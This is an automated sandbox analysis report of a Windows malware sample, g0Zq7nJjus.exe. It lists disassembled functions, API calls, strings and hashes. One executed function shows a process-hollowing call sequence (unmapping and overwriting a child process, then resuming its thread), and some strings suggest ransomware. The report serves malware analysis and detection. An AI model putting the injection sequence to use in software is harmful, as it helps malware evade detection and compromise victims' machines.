Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(005D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(005D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 06632578e90d35fef5b480ba9d5c501bb3093ece1296134b40e04d124e67501b
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 06632578e90d35fef5b480ba9d5c501bb3093ece1296134b40e04d124e67501b
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 000b75c40abfddb6a773008a46a172c0f10a4fdf0ec02046ba9b93d0a566c0a6
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 000b75c40abfddb6a773008a46a172c0f10a4fdf0ec02046ba9b93d0a566c0a6
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: d807934b8e020453535ed9747e0ec46d28a73b7d1425de7a99b3f0a23d996b97
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: d807934b8e020453535ed9747e0ec46d28a73b7d1425de7a99b3f0a23d996b97
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: g0Zq7nJjus.exePID: 6028, Parent PID: 2924COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	95.1%
Signature Coverage:	0%
Total number of Nodes:	41
Total number of Limit Nodes:	7

Executed Functions

Function 026E0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 026E0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 026E016C
CreateProcessA.KERNELBASE(?,00000000), ref: 026E0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 026E0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 026E0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 026E029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 026E02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 026E02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 026E0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 026E032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 026E0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 026E03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 026E03E1
ResumeThread.KERNELBASE(00000000), ref: 026E03ED
ExitProcess.KERNEL32(00000000), ref: 026E0412

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 954bff9871d6ea1899c1db03006c390437e43e961a0027037503f158416d6f12
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 76B1C574A00209AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D771AE45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 026E0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 026E0533

Strings

d, xrefs: 026E0584
mfoaskdfnoa, xrefs: 026E0520, 026E0523
saodkfnosa9uin, xrefs: 026E04DA
0, xrefs: 026E0492

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 884734616f6926bda8ece70b478711c6ba21bfca356344da049f179beec805fd
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 02510470908388DAEF11CBA8C949B9DBBB2AF11708F244058D5497F286C3FA5659CB66

Uniqueness

Uniqueness Score: -1.00%

Function 026E05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 026E05EC

Strings

o, xrefs: 026E0600
apfHQ, xrefs: 026E05E2, 026E05E5

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 7b38c6ad55b17c91ccb9edb5b66fba528b033b6c915c9fad8ef4d22f2895d4fc
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: CA011EB0C0525CEADF15DB98C5183AEBFB5AF41308F148099C4093B341D7B69B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 025447C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 025447EE
Module32First.KERNEL32(00000000,00000224), ref: 0254480E

Memory Dump Source

Source File: 00000005.00000002.2114398215.0000000002544000.00000040.00000020.00020000.00000000.sdmp, Offset: 02544000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2544000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: f73dd1407eeb9982eddfe06644bd5c815943397e4708603298011f3126dfb1b0
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: CCF062352407116BD7203BF5A88DB6ABAE8BF89629F104629E642A14C0DF70E8464A65

Uniqueness

Uniqueness Score: -1.00%

Function 02544485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 025444D6

Memory Dump Source

Source File: 00000005.00000002.2114398215.0000000002544000.00000040.00000020.00020000.00000000.sdmp, Offset: 02544000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2544000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: fcd02166ff7f697faa2bd72e58acd7f6142b5327ad69bafecbf99fb9cc7058fe
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 4B113C79A40208EFDB01DF98C985E99BFF5AF08350F058094F9489B361D775EA90DF84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02706437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0270644E

Part of subcall function 02709636: __calloc_impl.LIBCMT ref: 02709645

__calloc_crt.LIBCMT ref: 02706472
_free.LIBCMT ref: 02706480
__calloc_crt.LIBCMT ref: 0270648E
_free.LIBCMT ref: 0270649E
_free.LIBCMT ref: 027064A4
__copytlocinfo_nolock.LIBCMT ref: 027064B3
__setmbcp_nolock.LIBCMT ref: 027064D4
_free.LIBCMT ref: 027064E2
___removelocaleref.LIBCMT ref: 027064E9
___freetlocinfo.LIBCMT ref: 027064F0
_free.LIBCMT ref: 027064F6

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 95a28aa8d6b86d1ec258c2e9c74c4f4bd696c977a45798349e78e9bff636063f
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 28210831104210EEE7337FA5DC99E0F7BEAEF41B50B908019F548694E4EB229628CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02703F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02703F51

Part of subcall function 02705BA8: __getptd_noexit.LIBCMT ref: 02705BA8

__gmtime64_s.LIBCMT ref: 02703FEA
__gmtime64_s.LIBCMT ref: 02704020
__gmtime64_s.LIBCMT ref: 0270403D
__allrem.LIBCMT ref: 02704093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 027040AF
__allrem.LIBCMT ref: 027040C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 027040E4
__allrem.LIBCMT ref: 027040FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02704119
__invoke_watson.LIBCMT ref: 0270418A

Memory Dump Source

Source File: 00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 026E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_26e0000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 3f8367e9e70ef7b711df6015e28db5252ea83044a48129416c3dabd0869a0e77
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: FC71D571A00716EBE715AF7DCCD5B6AB3FAAF01324F144269F914E62C0E770E9488B90

Uniqueness

Uniqueness Score: -1.00%

Function 0270650E Relevance: 16.6, APIs: 11, Instructions: 131
